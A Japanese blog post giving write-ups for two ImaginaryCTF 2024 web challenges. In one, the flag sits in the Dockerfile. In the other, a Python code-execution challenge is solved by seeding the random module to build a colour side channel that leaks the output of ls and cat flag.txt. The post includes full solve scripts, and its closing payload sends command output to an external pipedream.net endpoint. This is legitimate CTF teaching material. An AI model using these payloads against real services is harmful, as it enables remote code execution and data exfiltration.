2
1

ImaginaryCTF 2024 writeup

Last updated at Posted at 2024-07-22

例によって休日はあまり時間が作れず、簡単なもの2問にしか取り組めなかった。
だいたい3時間くらい。

readme [Web]

特に何もない画面
image.png
提供されているソースコードのDockerfileの中に直接書かれていた。
初めはフェイクのフラグだと思って読み飛ばしてたのだが、試しに入れてみると通ってしまった・・・。

Dockerfile
FROM node:20-bookworm-slim

RUN apt-get update \
    && apt-get install -y nginx tini \
    && apt-get clean \
    && rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*

WORKDIR /app
COPY package.json yarn.lock ./
RUN yarn install --frozen-lockfile
COPY src ./src
COPY public ./public

COPY default.conf /etc/nginx/sites-available/default
COPY start.sh /start.sh

ENV FLAG="ictf{path_normalization_to_the_rescue}"

ENTRYPOINT ["/usr/bin/tini", "--"]
CMD ["/start.sh"]

以下のようにpublic/にフラグをコピーして、staticに指定してるので、public/flag.txtとかにアクセスすると取れるのかなと思ったが、それは上手くいかず・・・
ちょっと問題の意図が分からなかった。

start.sh
#!/bin/sh
echo "${FLAG:-not_flag}" > /app/public/flag.txt
nginx &
node src/app.js
app.js
const express = require('express')
const path = require('path')

const app = express()
app.use(express.static(path.join(__dirname, '../public')))
app.listen(8000)

P2C [Web]

image.png

Pythonのコードを入力して送信すると、背景の色が変わるWebページ

app.py
def xec(code):
    code = code.strip()
    indented = "\n".join(["    " + line for line in code.strip().splitlines()])

    file = f"/tmp/uploads/code_{md5(code.encode()).hexdigest()}.py"
    with open(file, 'w') as f:
        f.write("def main():\n")
        f.write(indented)
        f.write("""\nfrom parse import rgb_parse
print(rgb_parse(main()))""")

    os.system(f"chmod 755 {file}")

    try:
        res = subprocess.run(["sudo", "-u", "user", "python3", file], capture_output=True, text=True, check=True, timeout=0.1)
        output = res.stdout
    except Exception as e:
        output = None

    os.remove(file)

    return output
parse.py
import sys

if "random" not in dir():
   import random

def rgb_parse(inp=""):
   inp = str(inp)
   randomizer = random.randint(100, 1000)
   total = 0
   for n in inp:
      n = ord(n)
      total += n+random.randint(1, 10)
   rgb = total*randomizer*random.randint(100, 1000)
   rgb = str(rgb%1000000000)
   r = int(rgb[0:3]) + 29
   g = int(rgb[3:6]) + random.randint(10, 100)
   b = int(rgb[6:9]) + 49
   r, g, b = r%256, g%256, b%256
   return r, g, b

実装をみると、入力したコードがmain関数としてファイルに書き込まれ、その結果をrgb_parse関数に通した結果を背景色としているようだ。
乱数でごちゃごちゃ処理をしているので、適当なコード入力だと結果は毎度異なるのだが、執拗なほど乱数が使われているのはヒントなのだろう。
すこし考えて、これはrandom.seed()を使うことで結果を固定できることに気付いた。
これで結果の背景色からflagを探すことができる。

from bs4 import BeautifulSoup
import requests

# POSTしてHTMLから背景色を得る。
def post(data):
    response = requests.post('http://p2c.chal.imaginaryctf.org/', data=data)
    soup = BeautifulSoup(response.text)
    response.close()
    return str(soup.body.script).split('"')[1]

# 1文字だけ入力して結果を集める
import string
mapping = {}
characters = string.digits + string.ascii_lowercase + string.ascii_uppercase + '{}_'
for char in characters:
    data = {
        'code': f'''
import random
random.seed(1)
return '{char}'
'''
    }
    mapping[post(data)] = char
{
  'rgb(161, 173, 131)': '0',
  'rgb(164, 233, 110)': '1',
  'rgb(166, 13, 89)': '2',
  ...
}

まずは、main()の戻り値をアルファベットと数字(加えてフラグに使われそうな記号)1文字のみとし、結果を集める。
その後、main()の戻り値を、lsやcatを実行した結果を1文字ずつずらしながら出力するようにして、先ほど作った表と照らし合せていけばよい。

まずはls

# lsの結果を検証
for n in range(15):
    data = {
        'code': f'''
import random
random.seed(1)
import subprocess
return subprocess.run(['ls'], capture_output=True, text=True).stdout[{n}]
'''
    }
    result = post(data)
    print(result, mapping.get(result))
rgb(18, 239, 102) a
rgb(52, 104, 87) p
rgb(52, 104, 87) p
rgb(157, 102, 73) .
rgb(52, 104, 87) p
rgb(73, 242, 98) y
rgb(231, 120, 49) None
rgb(29, 186, 97) f
rgb(43, 193, 71) l
rgb(18, 239, 102) a
rgb(31, 222, 76) g
rgb(157, 102, 73) .
rgb(61, 15, 103) t
rgb(70, 182, 119) x
rgb(61, 15, 103) t

これでflag.txtが存在することが分かった。
次にcat flag.txt

for n in range(35):
    data = {
        'code': f'''
import random
random.seed(1)
import subprocess
return subprocess.run(['cat', 'flag.txt'], capture_output=True, text=True).stdout[{n}]
'''
    }
    result = post(data)
    print(result, mapping.get(result))
rgb(36, 61, 134) i
rgb(22, 55, 60) c
rgb(61, 15, 103) t
rgb(29, 186, 97) f
rgb(77, 58, 56) {
rgb(25, 114, 139) d
rgb(164, 233, 110) 1
rgb(13, 143, 144) _
rgb(22, 55, 60) c
rgb(50, 68, 108) o
rgb(43, 193, 71) l
rgb(50, 68, 108) o
rgb(57, 199, 145) r
rgb(13, 143, 144) _
rgb(52, 104, 87) p
rgb(36, 61, 134) i
rgb(22, 55, 60) c
rgb(41, 157, 92) k
rgb(27, 150, 118) e
rgb(57, 199, 145) r
rgb(13, 143, 144) _
rgb(29, 186, 97) f
rgb(57, 199, 145) r
rgb(13, 143, 144) _
rgb(166, 13, 89) 2
rgb(22, 55, 60) c
rgb(27, 150, 118) e
rgb(161, 173, 131) 0
rgb(25, 114, 139) d
rgb(25, 114, 139) d
rgb(168, 49, 68) 3
rgb(25, 114, 139) d
rgb(82, 153, 114) }
rgb(231, 120, 49) None
rgb(16, 36, 198) None

これをつなぎ合わせて、フラグ ictf{d1_color_picker_fr_2ce0dd3d} が得られた。

が、解いた後に、こんな効率の悪いことをしなくて良いことに気付いた。
ls, catの結果を自分のサーバに送信すればよいだけである。

data = {
    'code': '''
from urllib.request import urlopen
from urllib.parse import quote
import urllib
import subprocess

output = subprocess.run(['ls'], capture_output=True, text=True,).stdout
urlopen(f'https://eo8r9n7l6okfe60.m.pipedream.net?result={quote(output)}')
'''
}
post(data)

少しでもサーバに負荷をかけるような方法を取ってしまったことが悔やまれる。

2
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
1